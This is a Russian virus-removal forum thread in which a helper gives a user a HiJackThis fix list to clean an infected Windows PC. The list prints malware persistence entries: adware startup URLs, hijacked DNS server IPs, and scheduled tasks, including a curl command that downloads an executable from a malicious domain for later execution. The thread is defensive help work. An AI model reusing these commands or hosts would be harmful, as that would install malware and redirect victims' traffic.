Вместо нужного файла качается архив, в данном архиве ещё один архив, а в нем запакован данный файл.
Скриншот на его репутацию в KSN прилагается.
В конце прилагается архив логов.
Printable View
Вместо нужного файла качается архив, в данном архиве ещё один архив, а в нем запакован данный файл.
Скриншот на его репутацию в KSN прилагается.
В конце прилагается архив логов.
Уважаемый(ая) [B]Hackerok[/B], спасибо за обращение на наш форум!
Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].
[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]
Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
Пофиксите в HiJackThis из папки Autologger
[CODE]O4 - MSConfig\startupreg: [aknfkwkxwr] C:\Windows\explorer.exe "http://granena.ru/?utm_source=uoua03n&utm_content=e739009bccd5f1e6d71a91bff5994529&utm_term=E43EBD88C501A34E1AAEA140064D1B3A&utm_d=20170625" (HKCU) (2017/10/26)
O4 - MSConfig\startupreg: [xdxhapqyqn] C:\Windows\explorer.exe "http://eqvizin.ru/?utm_source=uoua03&utm_content=30279481911209992ea2df3b8dc4809c&utm_term=E43EBD88C501A34E1AAEA140064D1B3A&utm_d=20170625" (HKCU) (2017/10/26)
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 178.132.6.57
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 193.238.153.54
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 46.101.28.31
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 52.56.51.39
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.163.142.178
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.163.143.176
O17 - HKLM\System\CSS\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.202.226.203
O17 - HKLM\System\CSS\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 178.132.6.57
O17 - HKLM\System\CSS\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 193.238.153.54
O17 - HKLM\System\CSS\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 46.101.28.31
O17 - HKLM\System\CSS\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 52.56.51.39
O17 - HKLM\System\CSS\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 82.202.226.203
O17 - HKLM\System\CSS\Services\Tcpip\Parameters: NameServer = 82.163.143.176 82.163.142.178
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 178.132.6.57
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 193.238.153.54
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 46.101.28.31
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 52.56.51.39
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.163.142.178
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.163.143.176
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.202.226.203
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 178.132.6.57
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 193.238.153.54
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 46.101.28.31
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 52.56.51.39
O17 - HKLM\System\ControlSet001\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 82.202.226.203
O17 - HKLM\System\ControlSet001\Services\Tcpip\Parameters: NameServer = 82.163.143.176 82.163.142.178
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 178.132.6.57
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 193.238.153.54
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 46.101.28.31
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 52.56.51.39
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.163.142.178
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.163.143.176
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{9EB0135D-8E49-4A12-8FEB-CB0942E96AEA}: NameServer = 82.202.226.203
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 178.132.6.57
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 193.238.153.54
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 46.101.28.31
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 52.56.51.39
O17 - HKLM\System\ControlSet002\Services\Tcpip\..\{D97445A3-9061-49DD-8F60-B2A7DA1A282D}: NameServer = 82.202.226.203
O17 - HKLM\System\ControlSet002\Services\Tcpip\Parameters: NameServer = 82.163.143.176 82.163.142.178
O21 - ShellIconOverlayIdentifiers: 00asw - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O21 - ShellIconOverlayIdentifiers: 00avast - {472083B0-C522-11CF-8763-00608CC02F24} - (no file)
O22 - Task (Disabled): setupsk - C:\Users\Andrey\AppData\Roaming\setupsk\python\pythonw.exe "C:\Users\Andrey\AppData\Roaming\setupsk\ml.py" --APPNAME="setupsk" (file missing)
O22 - Task (Disabled): setupsk_upd - C:\Users\Andrey\AppData\Roaming\SETUPS~1\python\pythonw.exe "C:\Users\Andrey\AppData\Roaming\SETUPS~1\ml.py" --APPNAME="setupsk_upd" (file missing)
O22 - Task (Ready): Opera scheduled Autoupdate 1497116708 - D:\Programs\Opera\launcher.exe --scheduledautoupdate $(Arg0)
O22 - Task (Ready): curl - C:\Users\Andrey\AppData\Roaming\curl\curl_7_54.exe -f -L "http://amtomil.ru/f.exe" -o "C:\Users\Andrey\AppData\Roaming\curl\curl.exe"
O22 - Task (Ready): curls - C:\Users\Andrey\AppData\Roaming\curl\curl.exe[/CODE][B][color="Red"]Пожалуйста, ЕЩЕ РАЗ запустите Autologger, прикрепите к следующему сообщению НОВЫЕ логи. [/color][/B]
логи после фикса (если все правильно сделал)
Что с проблемой?
Проблема решилась, огромное спасибо!!!!